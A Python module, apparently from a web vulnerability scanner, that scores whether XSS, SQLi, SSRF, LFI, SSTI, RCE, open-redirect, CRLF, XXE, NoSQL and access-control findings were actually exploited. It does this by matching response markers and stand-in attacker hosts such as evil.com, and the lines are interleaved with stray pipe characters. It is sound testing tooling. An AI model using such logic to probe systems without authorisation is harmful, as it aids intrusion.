_compiled_db_errors = [re.compile(p, re.IGNORECASE) for p in DB_ERROR_PATTERNS]
|
||||
_compiled_cmd_patterns = [re.compile(p, re.IGNORECASE) for p in COMMAND_OUTPUT_PATTERNS]
|
||||
|
||||
|
||||
class ProofOfExecution:
|
||||
"""Per-vulnerability-type proof that the payload was executed/processed.
|
||||
|
||||
Each vuln type has specific criteria. If the proof method returns
|
||||
score=0, the finding has NO proof of execution and should score low.
|
||||
"""
|
||||
|
||||
def check(self, vuln_type: str, payload: str, response: Dict,
|
||||
baseline: Optional[Dict] = None) -> ProofResult:
|
||||
"""Check for proof of execution for the given vulnerability type.
|
||||
|
||||
Args:
|
||||
vuln_type: Vulnerability type key
|
||||
payload: The attack payload used
|
||||
response: HTTP response dict {status, headers, body}
|
||||
baseline: Optional baseline response for comparison
|
||||
|
||||
Returns:
|
||||
ProofResult with proven flag, proof type, detail, and score
|
||||
"""
|
||||
body = response.get("body", "")
|
||||
status = response.get("status", 0)
|
||||
headers = response.get("headers", {})
|
||||
|
||||
# Route to type-specific proof method
|
||||
method_name = f"_proof_{vuln_type}"
|
||||
if not hasattr(self, method_name):
|
||||
# Try base type (e.g., sqli_error -> sqli)
|
||||
base = vuln_type.split("_")[0]
|
||||
method_name = f"_proof_{base}"
|
||||
if not hasattr(self, method_name):
|
||||
return self._proof_default(vuln_type, payload, body, status,
|
||||
headers, baseline)
|
||||
|
||||
return getattr(self, method_name)(payload, body, status, headers, baseline)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# XSS Proofs
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _proof_xss(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
return self._proof_xss_reflected(payload, body, status, headers, baseline)
|
||||
|
||||
def _proof_xss_reflected(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
"""XSS proof: payload in executable/interactive HTML context."""
|
||||
if not payload or not body:
|
||||
return ProofResult(False, "", "No payload or body", 0)
|
||||
|
||||
# Check if payload is reflected at all
|
||||
if payload not in body and payload.lower() not in body.lower():
|
||||
return ProofResult(False, "not_reflected",
|
||||
"Payload not reflected in response", 0)
|
||||
|
||||
# Use XSS context analyzer for definitive proof
|
||||
try:
|
||||
from backend.core.xss_context_analyzer import analyze_xss_execution_context
|
||||
ctx = analyze_xss_execution_context(body, payload)
|
||||
|
||||
if ctx["executable"]:
|
||||
return ProofResult(
|
||||
True, "xss_auto_fire",
|
||||
f"Payload in auto-executing context: {ctx['detail']}",
|
||||
60, impact_demonstrated=True
|
||||
)
|
||||
if ctx["interactive"]:
|
||||
return ProofResult(
|
||||
True, "xss_interactive",
|
||||
f"Payload in interactive context: {ctx['detail']}",
|
||||
40, impact_demonstrated=False
|
||||
)
|
||||
except ImportError:
|
||||
pass
|
||||
|
||||
# Fallback: raw reflection without context analysis
|
||||
return ProofResult(
|
||||
False, "reflected_only",
|
||||
"Payload reflected but context not confirmed executable",
|
||||
10
|
||||
)
|
||||
|
||||
def _proof_xss_stored(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
"""Stored XSS: same as reflected but requires payload on display page."""
|
||||
return self._proof_xss_reflected(payload, body, status, headers, baseline)
|
||||
|
||||
def _proof_xss_dom(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
"""DOM XSS: payload in DOM sink (harder to verify without browser)."""
|
||||
return self._proof_xss_reflected(payload, body, status, headers, baseline)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# SQLi Proofs
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _proof_sqli(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
"""SQLi proof: DB error message caused by payload."""
|
||||
body_lower = body.lower()
|
||||
|
||||
# Check for DB error patterns
|
||||
for pat in _compiled_db_errors:
|
||||
m = pat.search(body_lower)
|
||||
if m:
|
||||
# Verify error wasn't in baseline
|
||||
if baseline:
|
||||
baseline_body = baseline.get("body", "").lower()
|
||||
if pat.search(baseline_body):
|
||||
continue # Error exists in baseline — not induced
|
||||
return ProofResult(
|
||||
True, "db_error",
|
||||
f"SQL error induced: {m.group()[:80]}",
|
||||
60, impact_demonstrated=True
|
||||
)
|
||||
|
||||
# Check for boolean-based blind: significant response diff
|
||||
if baseline:
|
||||
baseline_len = len(baseline.get("body", ""))
|
||||
body_len = len(body)
|
||||
baseline_status = baseline.get("status", 0)
|
||||
|
||||
if status != baseline_status and body_len != baseline_len:
|
||||
diff_pct = abs(body_len - baseline_len) / max(baseline_len, 1) * 100
|
||||
if diff_pct > 30:
|
||||
return ProofResult(
|
||||
True, "boolean_diff",
|
||||
f"Boolean-based blind: {diff_pct:.0f}% response diff "
|
||||
f"(status {baseline_status}->{status})",
|
||||
50, impact_demonstrated=False
|
||||
)
|
||||
|
||||
return ProofResult(False, "", "No SQL error or boolean diff detected", 0)
|
||||
|
||||
def _proof_sqli_error(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
return self._proof_sqli(payload, body, status, headers, baseline)
|
||||
|
||||
def _proof_sqli_union(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
return self._proof_sqli(payload, body, status, headers, baseline)
|
||||
|
||||
def _proof_sqli_blind(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
return self._proof_sqli(payload, body, status, headers, baseline)
|
||||
|
||||
def _proof_sqli_time(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
"""Time-based SQLi: needs external timing measurement (lower score)."""
|
||||
# Time-based proof requires timing data not available in response alone
|
||||
# The timeout exception handler in the agent provides this signal
|
||||
if status == 0: # Timeout
|
||||
return ProofResult(
|
||||
True, "time_based",
|
||||
"Request timeout consistent with time-based injection",
|
||||
40, impact_demonstrated=False
|
||||
)
|
||||
return ProofResult(False, "", "No timing anomaly detected", 0)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# SSRF Proofs
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _proof_ssrf(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
"""SSRF proof: response contains actual internal/cloud resource content.
|
||||
|
||||
IMPORTANT: Status/length diff alone is NOT proof of SSRF.
|
||||
Must show actual internal resource content.
|
||||
"""
|
||||
body_lower = body.lower()
|
||||
|
||||
# Check for cloud metadata content
|
||||
metadata_found = []
|
||||
for marker in SSRF_METADATA_MARKERS:
|
||||
if marker.lower() in body_lower:
|
||||
# Additional check: marker must NOT be in baseline
|
||||
if baseline:
|
||||
baseline_lower = baseline.get("body", "").lower()
|
||||
if marker.lower() in baseline_lower:
|
||||
continue
|
||||
metadata_found.append(marker)
|
||||
|
||||
if len(metadata_found) >= 2:
|
||||
# Multiple metadata fields = strong SSRF proof
|
||||
return ProofResult(
|
||||
True, "cloud_metadata",
|
||||
f"Cloud metadata content: {', '.join(metadata_found[:5])}",
|
||||
60, impact_demonstrated=True
|
||||
)
|
||||
if len(metadata_found) == 1:
|
||||
return ProofResult(
|
||||
True, "partial_metadata",
|
||||
f"Partial metadata: {metadata_found[0]}",
|
||||
40, impact_demonstrated=False
|
||||
)
|
||||
|
||||
# Check for /etc/passwd via SSRF
|
||||
for marker in FILE_CONTENT_MARKERS:
|
||||
if marker.lower() in body_lower:
|
||||
if baseline:
|
||||
if marker.lower() in baseline.get("body", "").lower():
|
||||
continue
|
||||
return ProofResult(
|
||||
True, "internal_file",
|
||||
f"Internal file content via SSRF: {marker}",
|
||||
60, impact_demonstrated=True
|
||||
)
|
||||
|
||||
# Status/length diff alone is NOT SSRF proof
|
||||
return ProofResult(
|
||||
False, "",
|
||||
"No internal resource content found (status/length diff alone is insufficient)",
|
||||
0
|
||||
)
|
||||
|
||||
def _proof_ssrf_cloud(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
return self._proof_ssrf(payload, body, status, headers, baseline)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# LFI / Path Traversal Proofs
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _proof_lfi(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
"""LFI proof: actual file content markers in response."""
|
||||
body_lower = body.lower()
|
||||
|
||||
for marker in FILE_CONTENT_MARKERS:
|
||||
if marker.lower() in body_lower:
|
||||
if baseline:
|
||||
if marker.lower() in baseline.get("body", "").lower():
|
||||
continue # Marker in baseline
|
||||
return ProofResult(
|
||||
True, "file_content",
|
||||
f"File content marker: {marker}",
|
||||
60, impact_demonstrated=True
|
||||
)
|
||||
|
||||
return ProofResult(False, "", "No file content markers found", 0)
|
||||
|
||||
def _proof_path_traversal(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
return self._proof_lfi(payload, body, status, headers, baseline)
|
||||
|
||||
def _proof_path(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
return self._proof_lfi(payload, body, status, headers, baseline)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# SSTI Proofs
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _proof_ssti(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
"""SSTI proof: template expression was evaluated."""
|
||||
for expr, result in SSTI_EXPRESSIONS.items():
|
||||
if expr in (payload or ""):
|
||||
if result in body and expr not in body:
|
||||
return ProofResult(
|
||||
True, "expression_evaluated",
|
||||
f"Template expression {expr}={result} evaluated",
|
||||
60, impact_demonstrated=True
|
||||
)
|
||||
|
||||
return ProofResult(False, "", "No template expression evaluation detected", 0)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# RCE / Command Injection Proofs
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _proof_rce(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
"""RCE proof: command output markers in response."""
|
||||
for pat in _compiled_cmd_patterns:
|
||||
m = pat.search(body)
|
||||
if m:
|
||||
if baseline:
|
||||
if pat.search(baseline.get("body", "")):
|
||||
continue
|
||||
return ProofResult(
|
||||
True, "command_output",
|
||||
f"Command output: {m.group()[:80]}",
|
||||
60, impact_demonstrated=True
|
||||
)
|
||||
|
||||
return ProofResult(False, "", "No command output markers found", 0)
|
||||
|
||||
def _proof_command(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
return self._proof_rce(payload, body, status, headers, baseline)
|
||||
|
||||
def _proof_command_injection(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
return self._proof_rce(payload, body, status, headers, baseline)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Open Redirect Proofs
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _proof_open(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
return self._proof_open_redirect(payload, body, status, headers, baseline)
|
||||
|
||||
def _proof_open_redirect(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
"""Open redirect proof: Location header points to attacker-controlled domain."""
|
||||
if status not in (301, 302, 303, 307, 308):
|
||||
return ProofResult(False, "", "No redirect status code", 0)
|
||||
|
||||
location = headers.get("Location", headers.get("location", ""))
|
||||
if not location:
|
||||
return ProofResult(False, "", "No Location header", 0)
|
||||
|
||||
# Check if Location contains the injected external domain
|
||||
if payload and any(domain in location.lower() for domain in
|
||||
["evil.com", "attacker.com", "example.com"]
|
||||
if domain in payload.lower()):
|
||||
return ProofResult(
|
||||
True, "redirect_to_external",
|
||||
f"Redirect to attacker domain: {location[:200]}",
|
||||
60, impact_demonstrated=True
|
||||
)
|
||||
|
||||
# Protocol-relative redirect
|
||||
if location.startswith("//") and any(
|
||||
domain in location for domain in ["evil.com", "attacker.com"]
|
||||
if domain in (payload or "")
|
||||
):
|
||||
return ProofResult(
|
||||
True, "protocol_relative_redirect",
|
||||
f"Protocol-relative redirect: {location[:200]}",
|
||||
60, impact_demonstrated=True
|
||||
)
|
||||
|
||||
# Meta-refresh redirect in body
|
||||
meta_pattern = r'<meta[^>]*http-equiv=["\']refresh["\'][^>]*url=([^"\'>\s]+)'
|
||||
meta_match = re.search(meta_pattern, body, re.IGNORECASE)
|
||||
if meta_match:
|
||||
redirect_url = meta_match.group(1)
|
||||
if any(domain in redirect_url.lower() for domain in
|
||||
["evil.com", "attacker.com"] if domain in (payload or "").lower()):
|
||||
return ProofResult(
|
||||
True, "meta_refresh_redirect",
|
||||
f"Meta-refresh redirect: {redirect_url[:200]}",
|
||||
30, impact_demonstrated=False
|
||||
)
|
||||
|
||||
return ProofResult(False, "", "No external redirect detected", 0)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# CRLF / Header Injection Proofs
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _proof_crlf(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
return self._proof_crlf_injection(payload, body, status, headers, baseline)
|
||||
|
||||
def _proof_crlf_injection(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
"""CRLF proof: injected header appears in response headers."""
|
||||
injected_header_names = ["X-Injected", "X-CRLF-Test", "Set-Cookie"]
|
||||
|
||||
for hdr_name in injected_header_names:
|
||||
if hdr_name.lower() in (payload or "").lower():
|
||||
val = headers.get(hdr_name, headers.get(hdr_name.lower(), ""))
|
||||
if val and ("injected" in val.lower() or "crlf" in val.lower()
|
||||
or "test" in val.lower()):
|
||||
return ProofResult(
|
||||
True, "header_injected",
|
||||
f"Injected header: {hdr_name}: {val[:100]}",
|
||||
60, impact_demonstrated=True
|
||||
)
|
||||
|
||||
return ProofResult(False, "", "No injected headers found", 0)
|
||||
|
||||
def _proof_header(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
return self._proof_crlf_injection(payload, body, status, headers, baseline)
|
||||
|
||||
def _proof_header_injection(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
return self._proof_crlf_injection(payload, body, status, headers, baseline)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# XXE Proofs
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _proof_xxe(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
"""XXE proof: file content or SSRF response from entity expansion."""
|
||||
body_lower = body.lower()
|
||||
|
||||
for marker in FILE_CONTENT_MARKERS:
|
||||
if marker.lower() in body_lower:
|
||||
if baseline and marker.lower() in baseline.get("body", "").lower():
|
||||
continue
|
||||
return ProofResult(
|
||||
True, "xxe_file_read",
|
||||
f"XXE entity expansion: {marker}",
|
||||
60, impact_demonstrated=True
|
||||
)
|
||||
|
||||
# XXE SSRF: metadata markers
|
||||
for marker in SSRF_METADATA_MARKERS:
|
||||
if marker.lower() in body_lower:
|
||||
if baseline and marker.lower() in baseline.get("body", "").lower():
|
||||
continue
|
||||
return ProofResult(
|
||||
True, "xxe_ssrf",
|
||||
f"XXE SSRF: {marker}",
|
||||
60, impact_demonstrated=True
|
||||
)
|
||||
|
||||
return ProofResult(False, "", "No XXE entity expansion detected", 0)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# NoSQL Injection Proofs
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _proof_nosql(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
return self._proof_nosql_injection(payload, body, status, headers, baseline)
|
||||
|
||||
def _proof_nosql_injection(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
"""NoSQL injection proof: MongoDB/NoSQL error or boolean response diff."""
|
||||
body_lower = body.lower()
|
||||
|
||||
nosql_errors = [
|
||||
r"MongoError", r"mongo.*(?:syntax|parse|query).*error",
|
||||
r"BSONTypeError", r"CastError.*ObjectId",
|
||||
]
|
||||
for pat_str in nosql_errors:
|
||||
m = re.search(pat_str, body, re.IGNORECASE)
|
||||
if m:
|
||||
if baseline and re.search(pat_str, baseline.get("body", ""), re.IGNORECASE):
|
||||
continue
|
||||
return ProofResult(
|
||||
True, "nosql_error",
|
||||
f"NoSQL error: {m.group()[:80]}",
|
||||
60, impact_demonstrated=True
|
||||
)
|
||||
|
||||
# Boolean-based blind NoSQL
|
||||
if baseline and ("$gt" in (payload or "") or "$ne" in (payload or "")):
|
||||
baseline_len = len(baseline.get("body", ""))
|
||||
diff_pct = abs(len(body) - baseline_len) / max(baseline_len, 1) * 100
|
||||
if diff_pct > 20:
|
||||
return ProofResult(
|
||||
True, "nosql_boolean",
|
||||
f"NoSQL boolean diff: {diff_pct:.0f}%",
|
||||
45, impact_demonstrated=False
|
||||
)
|
||||
|
||||
return ProofResult(False, "", "No NoSQL error or boolean diff", 0)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# IDOR Proofs
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _proof_idor(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
"""IDOR proof: accessing another user's resource with data comparison.
|
||||
|
||||
CRITICAL: HTTP status codes are NOT reliable for access control.
|
||||
We verify by checking actual response DATA, not just status/length.
|
||||
"""
|
||||
return self._proof_access_control(payload, body, status, headers, baseline, "idor")
|
||||
|
||||
def _proof_bola(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
"""BOLA proof: API object-level authorization with data comparison."""
|
||||
return self._proof_access_control(payload, body, status, headers, baseline, "bola")
|
||||
|
||||
def _proof_bfla(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
"""BFLA proof: function-level authorization with data comparison."""
|
||||
return self._proof_access_control(payload, body, status, headers, baseline, "bfla")
|
||||
|
||||
def _proof_privilege_escalation(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
"""Privilege escalation proof with data comparison."""
|
||||
return self._proof_access_control(payload, body, status, headers, baseline, "privilege_escalation")
|
||||
|
||||
def _proof_auth_bypass(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
"""Auth bypass proof: verify authenticated content is actually returned."""
|
||||
return self._proof_access_control(payload, body, status, headers, baseline, "auth_bypass")
|
||||
|
||||
def _proof_forced_browsing(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
"""Forced browsing proof with data comparison."""
|
||||
return self._proof_access_control(payload, body, status, headers, baseline, "forced_browsing")
|
||||
|
||||
def _proof_access_control(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict],
|
||||
vuln_subtype: str) -> ProofResult:
|
||||
"""Unified access control proof with smart data comparison.
|
||||
|
||||
NEVER trusts status codes alone. Checks:
|
||||
1. Response body is NOT an error/empty/login page (false positive indicators)
|
||||
2. Response body contains ACTUAL data (JSON objects, user fields, etc.)
|
||||
3. Response body DIFFERS from baseline (different user's data)
|
||||
4. Response body does NOT contain denial indicators
|
||||
"""
|
||||
body_lower = body.lower().strip()
|
||||
body_len = len(body)
|
||||
|
||||
# ------- FALSE POSITIVE: Empty or trivially small response -------
|
||||
if body_len < 10:
|
||||
return ProofResult(False, "", "Empty response body — no data returned", 0)
|
||||
|
||||
# ------- FALSE POSITIVE: Error/denial messages in body -------
|
||||
denial_indicators = [
|
||||
"unauthorized", "forbidden", "access denied", "not authorized",
|
||||
"permission denied", "authentication required", "login required",
|
||||
"please log in", "please sign in", "invalid token", "token expired",
|
||||
"session expired", "not found", "does not exist", "no permission",
|
||||
"insufficient privileges", "you do not have access",
|
||||
'"error":', '"status":"error"', '"success":false', '"success": false',
|
||||
]
|
||||
denial_count = sum(1 for d in denial_indicators if d in body_lower)
|
||||
if denial_count >= 2:
|
||||
return ProofResult(
|
||||
False, "",
|
||||
f"Response contains {denial_count} denial indicators — access was denied despite status {status}",
|
||||
0
|
||||
)
|
||||
|
||||
# ------- FALSE POSITIVE: Login/redirect page -------
|
||||
login_indicators = [
|
||||
"<form", "type=\"password\"", "type='password'",
|
||||
'name="password"', "name='password'",
|
||||
"sign in", "log in", "login", "<title>login",
|
||||
]
|
||||
login_count = sum(1 for l in login_indicators if l in body_lower)
|
||||
if login_count >= 3:
|
||||
return ProofResult(
|
||||
False, "",
|
||||
f"Response appears to be a login page ({login_count} login indicators)",
|
||||
0
|
||||
)
|
||||
|
||||
# ------- POSITIVE: Check for actual data content -------
|
||||
data_indicators = [
|
||||
# JSON data fields (common in API responses)
|
||||
'"email":', '"name":', '"username":', '"phone":', '"address":',
|
||||
'"role":', '"balance":', '"password":', '"token":', '"secret":',
|
||||
'"orders":', '"items":', '"created_at":', '"updated_at":',
|
||||
'"first_name":', '"last_name":', '"profile":', '"account":',
|
||||
# HTML data (for web pages)
|
||||
"user-profile", "account-details", "order-history",
|
||||
]
|
||||
data_count = sum(1 for d in data_indicators if d in body_lower)
|
||||
|
||||
# ------- Compare with baseline if available -------
|
||||
if baseline:
|
||||
baseline_body = baseline.get("body", "")
|
||||
baseline_len = len(baseline_body)
|
||||
|
||||
# If response is nearly identical to baseline, likely same-behavior
|
||||
if baseline_len > 0:
|
||||
diff_pct = abs(body_len - baseline_len) / max(baseline_len, 1) * 100
|
||||
baseline_lower = baseline_body.lower().strip()
|
||||
|
||||
# Check if body content actually differs (not just length)
|
||||
if body_lower == baseline_lower:
|
||||
return ProofResult(
|
||||
False, "",
|
||||
"Response identical to baseline — server ignores the ID parameter",
|
||||
0
|
||||
)
|
||||
|
||||
# Content-based comparison: for access control vulns,
|
||||
# different users have similar-length responses but different data
|
||||
# Count how many data field VALUES differ between attack and baseline
|
||||
content_diff_score = self._compare_data_content(body, baseline_body)
|
||||
|
||||
# Strong content difference with data indicators
|
||||
if content_diff_score >= 3 and data_count >= 2:
|
||||
return ProofResult(
|
||||
True, f"{vuln_subtype}_data_diff",
|
||||
f"Different data content returned ({content_diff_score} field values differ, "
|
||||
f"{data_count} data fields found) — likely another user's data",
|
||||
40, impact_demonstrated=True
|
||||
)
|
||||
|
||||
# Significant length difference with data indicators
|
||||
if diff_pct > 10 and data_count >= 2:
|
||||
return ProofResult(
|
||||
True, f"{vuln_subtype}_data_diff",
|
||||
f"Different data returned ({diff_pct:.0f}% content diff, "
|
||||
f"{data_count} data fields found) — likely another user's data",
|
||||
40, impact_demonstrated=True
|
||||
)
|
||||
|
||||
# Moderate content or length difference
|
||||
if (content_diff_score >= 2 or diff_pct > 5) and data_count >= 1:
|
||||
return ProofResult(
|
||||
True, f"{vuln_subtype}_content_diff",
|
||||
f"Content differs from baseline ({content_diff_score} values differ, "
|
||||
f"{diff_pct:.0f}% len diff, {data_count} data fields) — possible cross-user access",
|
||||
30, impact_demonstrated=False
|
||||
)
|
||||
|
||||
# No baseline — check if response has meaningful data
|
||||
if data_count >= 3:
|
||||
return ProofResult(
|
||||
True, f"{vuln_subtype}_data_present",
|
||||
f"Response contains {data_count} data fields (no baseline for comparison)",
|
||||
25, impact_demonstrated=False
|
||||
)
|
||||
|
||||
if data_count >= 1 and status == 200 and denial_count == 0:
|
||||
return ProofResult(
|
||||
True, f"{vuln_subtype}_possible",
|
||||
f"Response has data ({data_count} fields) and no denial — needs manual verification",
|
||||
15, impact_demonstrated=False
|
||||
)
|
||||
|
||||
return ProofResult(
|
||||
False, "",
|
||||
f"Cannot verify {vuln_subtype}: {data_count} data fields, "
|
||||
f"{denial_count} denial indicators, status {status}",
|
||||
0
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _compare_data_content(body_a: str, body_b: str) -> int:
|
||||
"""Compare two response bodies for data-level differences.
|
||||
|
||||
Extracts JSON-like key:value pairs and counts how many values differ
|
||||
between the two responses. This is essential for access control testing
|
||||
where response LENGTHS are similar but the actual DATA differs
|
||||
(e.g., different user profiles).
|
||||
|
||||
Returns number of differing field values (0 = identical data).
|
||||
"""
|
||||
import json as _json
|
||||
|
||||
# Try JSON parsing first
|
||||
try:
|
||||
data_a = _json.loads(body_a)
|
||||
data_b = _json.loads(body_b)
|
||||
if isinstance(data_a, dict) and isinstance(data_b, dict):
|
||||
diff_count = 0
|
||||
all_keys = set(data_a.keys()) | set(data_b.keys())
|
||||
for key in all_keys:
|
||||
val_a = str(data_a.get(key, ""))
|
||||
val_b = str(data_b.get(key, ""))
|
||||
if val_a != val_b:
|
||||
diff_count += 1
|
||||
return diff_count
|
||||
except (ValueError, TypeError):
|
||||
pass
|
||||
|
||||
# Fallback: regex-based extraction of "key":"value" pairs
|
||||
kv_pattern = re.compile(r'"(\w+)":\s*"([^"]*)"')
|
||||
pairs_a = dict(kv_pattern.findall(body_a))
|
||||
pairs_b = dict(kv_pattern.findall(body_b))
|
||||
|
||||
if not pairs_a and not pairs_b:
|
||||
# Not JSON-like; do simple line-level comparison
|
||||
lines_a = set(body_a.strip().splitlines())
|
||||
lines_b = set(body_b.strip().splitlines())
|
||||
return len(lines_a.symmetric_difference(lines_b))
|
||||
|
||||
all_keys = set(pairs_a.keys()) | set(pairs_b.keys())
|
||||
return sum(1 for k in all_keys if pairs_a.get(k) != pairs_b.get(k))
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Host Header Injection
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _proof_host(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
return self._proof_host_header_injection(payload, body, status, headers, baseline)
|
||||
|
||||
def _proof_host_header_injection(self, payload: str, body: str, status: int,
|
||||
headers: Dict,
|
||||
baseline: Optional[Dict]) -> ProofResult:
|
||||
"""Host header injection: injected host reflected in response body/links."""
|
||||
evil_hosts = ["evil.com", "attacker.com", "injected.host"]
|
||||
body_lower = body.lower()
|
||||
|
||||
for host in evil_hosts:
|
||||
if host in (payload or "").lower() and host in body_lower:
|
||||
if baseline and host in baseline.get("body", "").lower():
|
||||
continue
|
||||
return ProofResult(
|
||||
True, "host_reflected",
|
||||
f"Injected host '{host}' reflected in response",
|
||||
50, impact_demonstrated=False
|
||||
)
|
||||
|
||||
return ProofResult(False, "", "Injected host not reflected", 0)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Inspection types (no execution proof needed)
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _proof_security(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
return self._proof_inspection(payload, body, status, headers, baseline)
|
||||
|
||||
def _proof_cors(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
return self._proof_inspection(payload, body, status, headers, baseline)
|
||||
|
||||
def _proof_clickjacking(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
return self._proof_inspection(payload, body, status, headers, baseline)
|
||||
|
||||
def _proof_directory(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
return self._proof_inspection(payload, body, status, headers, baseline)
|
||||
|
||||
def _proof_debug(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
return self._proof_inspection(payload, body, status, headers, baseline)
|
||||
|
||||
def _proof_information(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
return self._proof_inspection(payload, body, status, headers, baseline)
|
||||
|
||||
def _proof_insecure(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
return self._proof_inspection(payload, body, status, headers, baseline)
|
||||
|
||||
def _proof_inspection(self, payload: str, body: str, status: int,
|
||||
headers: Dict, baseline: Optional[Dict]) -> ProofResult:
|
||||
"""Inspection types: proof is the header/config itself being present/absent."""
|
||||
return ProofResult(
|
||||
True, "inspection",
|
||||
"Inspection-type finding — proof is configuration state",
|
||||
50, impact_demonstrated=False
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Default / Unknown types
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _proof_default(self, vuln_type: str, payload: str, body: str,
|
||||
status: int, headers: Dict,
|
||||
baseline: Optional[Dict]) -> ProofResult:
|
||||
"""Default: conservative scoring for unknown vuln types."""
|
||||
# Check basic payload effect (reflected + different from baseline)
|
||||
if payload and payload.lower() in body.lower():
|
||||
if baseline:
|
||||
baseline_body = baseline.get("body", "")
|
||||
if payload.lower() not in baseline_body.lower():
|
||||
return ProofResult(
|
||||
True, "payload_reflected",
|
||||
f"Payload reflected (not in baseline) for {vuln_type}",
|
||||
25, impact_demonstrated=False
|
||||
)
|
||||
return ProofResult(
|
||||
False, "reflected_no_baseline",
|
||||
f"Payload reflected but no baseline to compare for {vuln_type}",
|
||||
10
|
||||
)
|
